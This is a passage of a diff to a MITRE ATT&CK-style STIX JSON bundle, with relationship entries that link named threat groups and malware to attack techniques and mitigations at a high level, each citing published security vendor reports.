+ ], + "modified": "2019-06-30T22:44:28.193Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:13:49.668Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--120ab07d-b167-4548-9e02-d241ccea8f02", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) uses a tool called CLEANTOAD that has the capability to modify Registry keys.", + "type": "relationship", + "created": "2019-01-29T21:27:25.282Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ccca05d-955c-40fa-9fd4-c10480abcf3d", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.803Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of modifying the Registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6592447f-31c8-46d0-8e88-47584fa301f0", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server. A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:09.078Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "modified": "2019-07-17T16:17:30.309Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:07:35.907Z", + "type": "relationship", + "id": "relationship--592d0c31-e61f-495e-a60e-70d7be59a719", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses 443 for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e42a784-4e6d-4474-84b0-3139cebfa879", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ab99abc-fa2a-4cc5-8cb4-4116e305a819", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.259Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:10:33.048Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c", + "external_references": [ + { + "source_name": "New DragonOK", + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + } + ], + "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "relationship_type": "uses", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.643Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7243a679-467e-4c31-b413-547016b9c3ad", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "can download and execute a second-stage payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72ac0ee1-24c0-4b4e-b96d-f42575ce9af8", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has infected victims by tricking them into visiting compromised watering hole websites.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72f9bf47-61ac-42c8-acbf-65be7c25af0f", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + } + ], + "modified": "2019-07-17T13:11:38.025Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:41:17.985Z", + "type": "relationship", + "id": "relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) variants have communicated with C2 servers over HTTP and HTTPS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-02-01T14:39:36.115Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.432Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80fc5f0c-3dcb-45ab-807a-bfa3d64334c6", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used [Windows Credential Editor](https://attack.mitre.org/software/S0005) for credential dumping, as well as Metasploit\u2019s [PsExec](https://attack.mitre.org/software/S0029) NTDSGRAB module to obtain a copy of the victim's Active Directory database.\t\n", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.784Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) took screen shots using their Windows malware.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec8f73de-eab1-4d3b-88c0-7885716aa748", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.968Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-30T23:13:18.590Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as [UPPERCUT](https://attack.mitre.org/software/S0275).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4d07662-749c-4116-a83c-e4045eddad43", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:32.121Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects the victim\u2019s computer name, processor architecture, OS version, volume serial number, and system type.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4bd74c6c-9e4f-4048-b968-13319d68ff00", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.723Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses [PsExec](https://attack.mitre.org/software/S0029) to perform remote service manipulation to execute a copy of itself as part of lateral movement.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9453d60b-4f3f-494f-985d-e29094ef8945", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) can securely delete files, including deleting itself from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f8cef32-d057-40f8-be52-62d86b1049e6", + "external_references": [ + { + "source_name": "Symantec Seaduke 2015", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) registers itself under a Registry Run key with the name \"USB Disk Security.\"", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform microphone recording.", + "type": "relationship", + "created": "2019-01-29T21:47:53.754Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cff7d7e5-a279-4499-9b03-0cb47ac6b25c", + "external_references": [ + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.861Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.264Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) adds a shortcut file to the startup folder for persistence.", + "type": "relationship", + "created": "2019-01-30T13:42:09.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eaed4cbc-d5d1-4274-af09-62d98ae1afc7", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.419Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has used Tor relays for Command and Control servers.", + "type": "relationship", + "created": "2019-01-30T13:53:14.944Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f97d56a-3484-47fb-a232-5a20121fa89c", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:21.950Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": 